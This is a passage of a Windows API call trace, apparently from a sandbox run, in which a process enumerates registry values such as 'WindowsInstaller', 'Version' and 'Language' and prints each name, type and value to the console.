returned 1 [0151.057] _errno () returned 0x204bb0 [0151.057] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.057] _errno () returned 0x204bb0 [0151.057] GetFileType (hFile=0x50) returned 0x1 [0151.057] lstrlenW (lpString="REG_DWORD") returned 9 [0151.057] GetConsoleOutputCP () returned 0x1b5 [0151.057] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0151.057] GetConsoleOutputCP () returned 0x1b5 [0151.057] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0151.058] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0151.058] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.058] __iob_func () returned 0x7fefd702a80 [0151.058] _fileno (_File=0x7fefd702ab0) returned 1 [0151.058] _errno () returned 0x204bb0 [0151.058] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.058] _errno () returned 0x204bb0 [0151.058] GetFileType (hFile=0x50) returned 0x1 [0151.058] lstrlenW (lpString=" ") returned 4 [0151.058] GetConsoleOutputCP () returned 0x1b5 [0151.058] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.058] GetConsoleOutputCP () returned 0x1b5 [0151.058] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.058] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.058] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.058] __iob_func () returned 0x7fefd702a80 [0151.058] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.058] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x0") returned 3 [0151.058] _fileno (_File=0x7fefd702ab0) returned 1 [0151.058] _errno () returned 0x204bb0 [0151.058] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.058] _errno () returned 0x204bb0 [0151.058] GetFileType (hFile=0x50) returned 0x1 [0151.058] lstrlenW (lpString="0x0") returned 3 [0151.059] GetConsoleOutputCP () returned 0x1b5 [0151.059] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x0", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0151.059] GetConsoleOutputCP () returned 0x1b5 [0151.059] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x0", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x0", lpUsedDefaultChar=0x0) returned 3 [0151.059] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0151.059] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.059] __iob_func () returned 0x7fefd702a80 [0151.059] _fileno (_File=0x7fefd702ab0) returned 1 [0151.059] _errno () returned 0x204bb0 [0151.059] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.059] _errno () returned 0x204bb0 [0151.059] GetFileType (hFile=0x50) returned 0x1 [0151.059] lstrlenW (lpString="\n") returned 1 [0151.059] GetConsoleOutputCP () returned 0x1b5 [0151.059] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.059] GetConsoleOutputCP () returned 0x1b5 [0151.059] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.059] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.059] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.059] GetProcessHeap () returned 0x3c0000 [0151.059] GetProcessHeap () returned 0x3c0000 [0151.059] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.060] GetProcessHeap () returned 0x3c0000 [0151.060] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0151.060] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0151.060] RegEnumValueW (in: hKey=0x5c, dwIndex=0x15, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="WindowsInstaller", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0151.060] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="WindowsInstaller", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0151.060] GetProcessHeap () returned 0x3c0000 [0151.060] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0151.060] GetProcessHeap () returned 0x3c0000 [0151.060] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.060] GetProcessHeap () returned 0x3c0000 [0151.060] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0151.060] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="WindowsInstaller", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x1, pcbData=0x29f780*=0x4) returned 0x0 [0151.060] __iob_func () returned 0x7fefd702a80 [0151.060] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.060] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0151.060] _fileno (_File=0x7fefd702ab0) returned 1 [0151.060] _errno () returned 0x204bb0 [0151.060] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.060] _errno () returned 0x204bb0 [0151.060] GetFileType (hFile=0x50) returned 0x1 [0151.060] lstrlenW (lpString=" ") returned 4 [0151.060] GetConsoleOutputCP () returned 0x1b5 [0151.060] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.060] GetConsoleOutputCP () returned 0x1b5 [0151.060] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.060] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.060] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.061] lstrlenW (lpString="WindowsInstaller") returned 16 [0151.061] __iob_func () returned 0x7fefd702a80 [0151.061] _fileno (_File=0x7fefd702ab0) returned 1 [0151.061] _errno () returned 0x204bb0 [0151.061] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.061] _errno () returned 0x204bb0 [0151.061] GetFileType (hFile=0x50) returned 0x1 [0151.061] lstrlenW (lpString="WindowsInstaller") returned 16 [0151.061] GetConsoleOutputCP () returned 0x1b5 [0151.061] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WindowsInstaller", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0151.061] GetConsoleOutputCP () returned 0x1b5 [0151.061] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WindowsInstaller", cchWideChar=16, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsInstaller", lpUsedDefaultChar=0x0) returned 16 [0151.061] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 16 [0151.061] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.061] __iob_func () returned 0x7fefd702a80 [0151.061] _fileno (_File=0x7fefd702ab0) returned 1 [0151.061] _errno () returned 0x204bb0 [0151.061] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.061] _errno () returned 0x204bb0 [0151.061] GetFileType (hFile=0x50) returned 0x1 [0151.061] lstrlenW (lpString=" ") returned 4 [0151.061] GetConsoleOutputCP () returned 0x1b5 [0151.061] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.061] GetConsoleOutputCP () returned 0x1b5 [0151.062] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.062] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.062] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.062] __iob_func () returned 0x7fefd702a80 [0151.062] _fileno (_File=0x7fefd702ab0) returned 1 [0151.062] _errno () returned 0x204bb0 [0151.062] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.062] _errno () returned 0x204bb0 [0151.062] GetFileType (hFile=0x50) returned 0x1 [0151.062] lstrlenW (lpString="REG_DWORD") returned 9 [0151.062] GetConsoleOutputCP () returned 0x1b5 [0151.062] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0151.062] GetConsoleOutputCP () returned 0x1b5 [0151.062] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0151.062] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0151.062] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.062] __iob_func () returned 0x7fefd702a80 [0151.062] _fileno (_File=0x7fefd702ab0) returned 1 [0151.063] _errno () returned 0x204bb0 [0151.063] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.063] _errno () returned 0x204bb0 [0151.063] GetFileType (hFile=0x50) returned 0x1 [0151.063] lstrlenW (lpString=" ") returned 4 [0151.063] GetConsoleOutputCP () returned 0x1b5 [0151.063] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.063] GetConsoleOutputCP () returned 0x1b5 [0151.063] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.063] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.063] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.063] __iob_func () returned 0x7fefd702a80 [0151.063] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.063] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x1") returned 3 [0151.063] _fileno (_File=0x7fefd702ab0) returned 1 [0151.063] _errno () returned 0x204bb0 [0151.063] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.063] _errno () returned 0x204bb0 [0151.063] GetFileType (hFile=0x50) returned 0x1 [0151.063] lstrlenW (lpString="0x1") returned 3 [0151.063] GetConsoleOutputCP () returned 0x1b5 [0151.063] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0151.063] GetConsoleOutputCP () returned 0x1b5 [0151.064] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0151.064] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0151.064] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.064] __iob_func () returned 0x7fefd702a80 [0151.064] _fileno (_File=0x7fefd702ab0) returned 1 [0151.064] _errno () returned 0x204bb0 [0151.064] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.064] _errno () returned 0x204bb0 [0151.064] GetFileType (hFile=0x50) returned 0x1 [0151.064] lstrlenW (lpString="\n") returned 1 [0151.064] GetConsoleOutputCP () returned 0x1b5 [0151.064] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.064] GetConsoleOutputCP () returned 0x1b5 [0151.064] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.064] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.064] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.064] GetProcessHeap () returned 0x3c0000 [0151.064] GetProcessHeap () returned 0x3c0000 [0151.064] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.064] GetProcessHeap () returned 0x3c0000 [0151.064] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0151.064] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0151.064] RegEnumValueW (in: hKey=0x5c, dwIndex=0x16, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Version", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0151.064] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Version", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0151.064] GetProcessHeap () returned 0x3c0000 [0151.064] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0151.064] GetProcessHeap () returned 0x3c0000 [0151.065] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.065] GetProcessHeap () returned 0x3c0000 [0151.065] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0151.065] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Version", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0xa009d1b, pcbData=0x29f780*=0x4) returned 0x0 [0151.065] __iob_func () returned 0x7fefd702a80 [0151.065] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.065] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0151.065] _fileno (_File=0x7fefd702ab0) returned 1 [0151.065] _errno () returned 0x204bb0 [0151.065] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.065] _errno () returned 0x204bb0 [0151.065] GetFileType (hFile=0x50) returned 0x1 [0151.065] lstrlenW (lpString=" ") returned 4 [0151.065] GetConsoleOutputCP () returned 0x1b5 [0151.065] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.065] GetConsoleOutputCP () returned 0x1b5 [0151.065] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.065] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.065] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.065] lstrlenW (lpString="Version") returned 7 [0151.065] __iob_func () returned 0x7fefd702a80 [0151.065] _fileno (_File=0x7fefd702ab0) returned 1 [0151.065] _errno () returned 0x204bb0 [0151.065] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.065] _errno () returned 0x204bb0 [0151.065] GetFileType (hFile=0x50) returned 0x1 [0151.065] lstrlenW (lpString="Version") returned 7 [0151.066] GetConsoleOutputCP () returned 0x1b5 [0151.066] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Version", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0151.066] GetConsoleOutputCP () returned 0x1b5 [0151.066] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Version", cchWideChar=7, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Version", lpUsedDefaultChar=0x0) returned 7 [0151.066] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 7 [0151.066] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.066] __iob_func () returned 0x7fefd702a80 [0151.066] _fileno (_File=0x7fefd702ab0) returned 1 [0151.066] _errno () returned 0x204bb0 [0151.066] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.066] _errno () returned 0x204bb0 [0151.066] GetFileType (hFile=0x50) returned 0x1 [0151.066] lstrlenW (lpString=" ") returned 4 [0151.066] GetConsoleOutputCP () returned 0x1b5 [0151.066] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.066] GetConsoleOutputCP () returned 0x1b5 [0151.066] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.066] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.066] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.066] __iob_func () returned 0x7fefd702a80 [0151.067] _fileno (_File=0x7fefd702ab0) returned 1 [0151.067] _errno () returned 0x204bb0 [0151.067] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.067] _errno () returned 0x204bb0 [0151.067] GetFileType (hFile=0x50) returned 0x1 [0151.067] lstrlenW (lpString="REG_DWORD") returned 9 [0151.067] GetConsoleOutputCP () returned 0x1b5 [0151.067] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0151.067] GetConsoleOutputCP () returned 0x1b5 [0151.067] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0151.067] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0151.067] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.067] __iob_func () returned 0x7fefd702a80 [0151.067] _fileno (_File=0x7fefd702ab0) returned 1 [0151.067] _errno () returned 0x204bb0 [0151.067] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.067] _errno () returned 0x204bb0 [0151.067] GetFileType (hFile=0x50) returned 0x1 [0151.067] lstrlenW (lpString=" ") returned 4 [0151.067] GetConsoleOutputCP () returned 0x1b5 [0151.067] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.067] GetConsoleOutputCP () returned 0x1b5 [0151.067] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.067] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.067] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.068] __iob_func () returned 0x7fefd702a80 [0151.068] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.068] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0xa009d1b") returned 9 [0151.068] _fileno (_File=0x7fefd702ab0) returned 1 [0151.068] _errno () returned 0x204bb0 [0151.068] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.068] _errno () returned 0x204bb0 [0151.068] GetFileType (hFile=0x50) returned 0x1 [0151.068] lstrlenW (lpString="0xa009d1b") returned 9 [0151.068] GetConsoleOutputCP () returned 0x1b5 [0151.068] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xa009d1b", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0151.068] GetConsoleOutputCP () returned 0x1b5 [0151.068] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xa009d1b", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0xa009d1b", lpUsedDefaultChar=0x0) returned 9 [0151.068] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0151.068] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.068] __iob_func () returned 0x7fefd702a80 [0151.068] _fileno (_File=0x7fefd702ab0) returned 1 [0151.068] _errno () returned 0x204bb0 [0151.068] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.068] _errno () returned 0x204bb0 [0151.068] GetFileType (hFile=0x50) returned 0x1 [0151.068] lstrlenW (lpString="\n") returned 1 [0151.068] GetConsoleOutputCP () returned 0x1b5 [0151.068] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.069] GetConsoleOutputCP () returned 0x1b5 [0151.069] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.069] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.069] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.069] GetProcessHeap () returned 0x3c0000 [0151.069] GetProcessHeap () returned 0x3c0000 [0151.069] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.069] GetProcessHeap () returned 0x3c0000 [0151.069] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0151.069] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0151.069] RegEnumValueW (in: hKey=0x5c, dwIndex=0x17, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Language", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0151.069] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Language", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0151.069] GetProcessHeap () returned 0x3c0000 [0151.069] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0151.069] GetProcessHeap () returned 0x3c0000 [0151.069] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.069] GetProcessHeap () returned 0x3c0000 [0151.069] 